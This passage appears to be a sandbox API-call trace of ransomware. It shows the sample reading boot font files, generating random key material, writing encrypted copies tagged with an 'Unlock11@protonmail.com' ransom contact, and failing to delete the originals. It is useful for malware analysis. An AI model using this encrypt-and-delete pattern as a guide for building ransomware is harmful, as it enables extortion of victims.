[0117.257] GetCurrentThreadId () returned 0x9b0 [0117.257] GetCurrentThreadId () returned 0x9b0 [0117.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a68 [0117.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0117.257] CreateFileA (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.257] GetFileType (hFile=0x39c) returned 0x1 [0117.258] GetCurrentThreadId () returned 0x9b0 [0117.258] GetFileType (hFile=0x39c) returned 0x1 [0117.258] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.258] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.258] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.258] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.258] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.258] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.258] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.258] GetLastError () returned 0x0 [0117.258] GetCurrentThreadId () returned 0x9b0 [0117.258] GetLastError () returned 0x0 [0117.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654e8 | out: hHeap=0x2ad0000) returned 1 [0117.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.259] GetLastError () returned 0x0 [0117.259] GetLastError () returned 0x0 [0117.259] GetLastError () returned 0x0 [0117.259] GetLastError () returned 0x0 [0117.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0117.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652a8 [0117.259] GetLastError () returned 0x0 [0117.259] CreateFileA (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.260] GetFileType (hFile=0x3ac) returned 0x1 [0117.260] GetLastError () returned 0x0 [0117.260] GetCurrentThreadId () returned 0x9b0 [0117.260] GetLastError () returned 0x0 [0117.260] GetFileType (hFile=0x3ac) returned 0x1 [0117.260] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.260] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.260] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.260] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.260] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.261] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.261] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.261] GetLastError () returned 0x0 [0117.261] GetCurrentThreadId () returned 0x9b0 [0117.261] GetLastError () returned 0x0 [0117.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0117.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0117.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0117.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0117.261] GetLastError () returned 0x0 [0117.261] GetLastError () returned 0x0 [0117.261] GetCurrentThreadId () returned 0x9b0 [0117.262] GetLastError () returned 0x0 [0117.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0117.262] GetLastError () returned 0x0 [0117.262] GetLastError () returned 0x0 [0117.262] GetCurrentThreadId () returned 0x9b0 [0117.262] GetLastError () returned 0x0 [0117.262] GetLastError () returned 0x0 [0117.264] GetLastError () returned 0x0 [0117.264] GetCurrentThreadId () returned 0x9b0 [0117.264] GetLastError () returned 0x0 [0117.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0117.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.265] GetCurrentThreadId () returned 0x9b0 [0117.265] GetLastError () returned 0x0 [0117.265] GetLastError () returned 0x0 [0117.265] GetLastError () returned 0x0 [0117.265] GetLastError () returned 0x0 [0117.265] GetCurrentThreadId () returned 0x9b0 [0117.265] GetLastError () returned 0x0 [0117.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0117.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.266] GetLastError () returned 0x0 [0117.268] GetLastError () returned 0x0 [0117.268] GetCurrentThreadId () returned 0x9b0 [0117.268] GetLastError () returned 0x0 [0117.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.268] GetLastError () returned 0x0 [0117.268] GetLastError () returned 0x0 [0117.269] GetCurrentThreadId () returned 0x9b0 [0117.269] GetLastError () returned 0x0 [0117.269] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x4f7b) returned 0x36f8548 [0117.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.269] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x4f85) returned 0x36f8548 [0117.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265278 [0117.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652e8 | out: hHeap=0x2ad0000) returned 1 [0117.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4f88) returned 0x35b89d8 [0117.269] GetCurrentThreadId () returned 0x9b0 [0117.269] GetLastError () returned 0x0 [0117.269] GetLastError () returned 0x0 [0117.270] GetLastError () returned 0x0 [0117.270] GetLastError () returned 0x0 [0117.270] GetCurrentThreadId () returned 0x9b0 [0117.270] GetLastError () returned 0x0 [0117.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0117.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0117.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0117.270] GetLastError () returned 0x0 [0117.270] GetLastError () returned 0x0 [0117.271] GetCurrentThreadId () returned 0x9b0 [0117.271] GetLastError () returned 0x0 [0117.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bd968 | out: hHeap=0x2ad0000) returned 1 [0117.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0117.271] GetLastError () returned 0x0 [0117.271] GetLastError () returned 0x0 [0117.271] GetCurrentThreadId () returned 0x9b0 [0117.271] GetLastError () returned 0x0 [0117.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.271] GetLastError () returned 0x0 [0117.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0117.272] CloseHandle (hObject=0x3ac) returned 1 [0117.272] GetLastError () returned 0x0 [0117.272] GetCurrentThreadId () returned 0x9b0 [0117.272] GetLastError () returned 0x0 [0117.272] GetLastError () returned 0x0 [0117.272] CloseHandle (hObject=0x39c) returned 1 [0117.273] GetLastError () returned 0x0 [0117.273] GetCurrentThreadId () returned 0x9b0 [0117.273] GetLastError () returned 0x0 [0117.273] GetLastError () returned 0x0 [0117.273] GetLastError () returned 0x0 [0117.273] GetLastError () returned 0x0 [0117.273] GetLastError () returned 0x0 [0117.273] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0 [0117.273] GetLastError () returned 0x5 [0117.273] GetCurrentThreadId () returned 0x9b0 [0117.274] GetLastError () returned 0x5 [0117.274] GetLastError () returned 0x5 [0117.274] GetLastError () returned 0x5 [0117.274] GetLastError () returned 0x5 [0117.274] LocalFree (hMem=0x1053d30) returned 0x0 [0117.274] GetLastError () returned 0x5 [0117.274] GetLastError () returned 0x5 [0117.274] GetLastError () returned 0x5 [0117.274] GetLastError () returned 0x5 [0117.274] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\segoe_slboot.ttf", lpFilePart=0x9bada4*="segoe_slboot.ttf") returned 0x1e [0117.274] GetCurrentThreadId () returned 0x9b0 [0117.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0117.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0117.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0117.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.275] GetCurrentThreadId () returned 0x9b0 [0117.275] GetLastError () returned 0x0 [0117.275] GetLastError () returned 0x0 [0117.275] GetLastError () returned 0x0 [0117.275] GetLastError () returned 0x0 [0117.275] GetCurrentThreadId () returned 0x9b0 [0117.275] GetLastError () returned 0x0 [0117.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.276] GetLastError () returned 0x0 [0117.276] GetLastError () returned 0x0 [0117.276] GetLastError () returned 0x0 [0117.276] GetLastError () returned 0x0 [0117.276] GetCurrentThreadId () returned 0x9b0 [0117.276] GetLastError () returned 0x0 [0117.276] GetLastError () returned 0x0 [0117.276] GetLastError () returned 0x0 [0117.277] GetLastError () returned 0x0 [0117.277] GetLastError () returned 0x0 [0117.277] GetCurrentThreadId () returned 0x9b0 [0117.277] GetLastError () returned 0x0 [0117.277] GetCurrentThreadId () returned 0x9b0 [0117.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.277] GetLastError () returned 0x0 [0117.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0117.277] GetLastError () returned 0x0 [0117.277] GetLastError () returned 0x0 [0117.277] GetLastError () returned 0x0 [0117.277] GetCurrentThreadId () returned 0x9b0 [0117.278] GetLastError () returned 0x0 [0117.278] GetLastError () returned 0x0 [0117.278] GetLastError () returned 0x0 [0117.278] GetLastError () returned 0x0 [0117.278] GetLastError () returned 0x0 [0117.278] GetCurrentThreadId () returned 0x9b0 [0117.278] GetLastError () returned 0x0 [0117.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0117.278] GetLastError () returned 0x0 [0117.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0117.278] GetLastError () returned 0x0 [0117.278] GetLastError () returned 0x0 [0117.279] GetLastError () returned 0x0 [0117.279] GetCurrentThreadId () returned 0x9b0 [0117.279] GetLastError () returned 0x0 [0117.279] GetLastError () returned 0x0 [0117.279] GetLastError () returned 0x0 [0117.279] GetLastError () returned 0x0 [0117.279] GetLastError () returned 0x0 [0117.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0117.279] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2)) returned 1 [0117.279] GetLastError () returned 0x0 [0117.280] GetCurrentThreadId () returned 0x9b0 [0117.280] GetLastError () returned 0x0 [0117.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.280] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668c14 | out: pbBuffer=0x3668c14) returned 1 [0117.280] GetCurrentThreadId () returned 0x9b0 [0117.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0117.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0117.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0117.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.280] GetLastError () returned 0x0 [0117.280] GetLastError () returned 0x0 [0117.281] GetLastError () returned 0x0 [0117.281] GetLastError () returned 0x0 [0117.281] GetCurrentThreadId () returned 0x9b0 [0117.281] GetLastError () returned 0x0 [0117.281] GetCurrentThreadId () returned 0x9b0 [0117.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.281] GetLastError () returned 0x0 [0117.281] GetLastError () returned 0x0 [0117.281] GetLastError () returned 0x0 [0117.282] GetLastError () returned 0x0 [0117.282] GetCurrentThreadId () returned 0x9b0 [0117.282] GetLastError () returned 0x0 [0117.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.282] GetCurrentThreadId () returned 0x9b0 [0117.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265398 [0117.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0117.282] GetLastError () returned 0x0 [0117.282] GetLastError () returned 0x0 [0117.282] GetLastError () returned 0x0 [0117.282] GetLastError () returned 0x0 [0117.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0117.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265288 [0117.283] GetLastError () returned 0x0 [0117.283] CreateFileA (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.283] GetFileType (hFile=0x39c) returned 0x1 [0117.283] GetLastError () returned 0x0 [0117.283] GetCurrentThreadId () returned 0x9b0 [0117.283] GetLastError () returned 0x0 [0117.283] GetFileType (hFile=0x39c) returned 0x1 [0117.283] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.284] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.284] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.284] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.284] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.284] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.284] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.284] GetLastError () returned 0x0 [0117.284] GetCurrentThreadId () returned 0x9b0 [0117.284] GetLastError () returned 0x0 [0117.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0117.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.284] GetLastError () returned 0x0 [0117.284] GetLastError () returned 0x0 [0117.285] GetLastError () returned 0x0 [0117.285] GetLastError () returned 0x0 [0117.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265288 [0117.285] GetLastError () returned 0x0 [0117.285] CreateFileA (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.286] GetFileType (hFile=0x3ac) returned 0x1 [0117.286] GetLastError () returned 0x0 [0117.287] GetCurrentThreadId () returned 0x9b0 [0117.287] GetLastError () returned 0x0 [0117.287] GetFileType (hFile=0x3ac) returned 0x1 [0117.287] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.287] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.287] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.287] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.287] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.287] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.287] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.287] GetLastError () returned 0x0 [0117.287] GetLastError () returned 0x0 [0117.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0117.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0117.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0117.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.288] GetLastError () returned 0x0 [0117.288] GetLastError () returned 0x0 [0117.288] GetLastError () returned 0x0 [0117.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0117.288] GetLastError () returned 0x0 [0117.288] GetLastError () returned 0x0 [0117.289] GetLastError () returned 0x0 [0117.289] GetLastError () returned 0x0 [0117.290] GetLastError () returned 0x0 [0117.291] GetLastError () returned 0x0 [0117.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265398 | out: hHeap=0x2ad0000) returned 1 [0117.291] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.291] GetLastError () returned 0x0 [0117.291] GetLastError () returned 0x0 [0117.291] GetLastError () returned 0x0 [0117.292] GetLastError () returned 0x0 [0117.292] GetLastError () returned 0x0 [0117.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0117.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.292] GetLastError () returned 0x0 [0117.294] GetLastError () returned 0x0 [0117.294] GetLastError () returned 0x0 [0117.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.294] GetLastError () returned 0x0 [0117.294] GetLastError () returned 0x0 [0117.295] GetLastError () returned 0x0 [0117.295] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x50b7) returned 0x36f8548 [0117.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.295] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x50c5) returned 0x36f8548 [0117.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265378 [0117.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0117.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x50c8) returned 0x35b89d8 [0117.295] GetLastError () returned 0x0 [0117.295] GetLastError () returned 0x0 [0117.295] GetLastError () returned 0x0 [0117.296] GetLastError () returned 0x0 [0117.296] GetLastError () returned 0x0 [0117.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0117.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0117.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.296] GetLastError () returned 0x0 [0117.296] GetLastError () returned 0x0 [0117.296] GetLastError () returned 0x0 [0117.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bdaa8 | out: hHeap=0x2ad0000) returned 1 [0117.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0117.297] GetLastError () returned 0x0 [0117.297] GetLastError () returned 0x0 [0117.297] GetLastError () returned 0x0 [0117.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.298] GetLastError () returned 0x0 [0117.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0117.298] CloseHandle (hObject=0x3ac) returned 1 [0117.298] GetLastError () returned 0x0 [0117.298] GetLastError () returned 0x0 [0117.298] GetLastError () returned 0x0 [0117.298] CloseHandle (hObject=0x39c) returned 1 [0117.299] GetLastError () returned 0x0 [0117.299] GetLastError () returned 0x0 [0117.299] GetLastError () returned 0x0 [0117.299] GetLastError () returned 0x0 [0117.299] GetLastError () returned 0x0 [0117.299] GetLastError () returned 0x0 [0117.299] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0 [0117.299] GetLastError () returned 0x5 [0117.299] GetLastError () returned 0x5 [0117.300] GetLastError () returned 0x5 [0117.300] GetLastError () returned 0x5 [0117.300] GetLastError () returned 0x5 [0117.300] LocalFree (hMem=0x1053c70) returned 0x0 [0117.300] GetLastError () returned 0x5 [0117.300] GetLastError () returned 0x5 [0117.300] GetLastError () returned 0x5 [0117.300] GetLastError () returned 0x5 [0117.300] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\wgl4_boot.ttf", lpFilePart=0x9bada4*="wgl4_boot.ttf") returned 0x1b [0117.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0117.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0117.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0117.301] GetLastError () returned 0x0 [0117.301] GetLastError () returned 0x0 [0117.301] GetLastError () returned 0x0 [0117.301] GetLastError () returned 0x0 [0117.301] GetLastError () returned 0x0 [0117.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.301] GetLastError () returned 0x0 [0117.302] GetLastError () returned 0x0 [0117.302] GetLastError () returned 0x0 [0117.302] GetLastError () returned 0x0 [0117.302] GetLastError () returned 0x0 [0117.302] GetLastError () returned 0x0 [0117.302] GetLastError () returned 0x0 [0117.302] GetLastError () returned 0x0 [0117.302] GetLastError () returned 0x0 [0117.302] GetLastError () returned 0x0 [0117.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.302] GetLastError () returned 0x0 [0117.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: 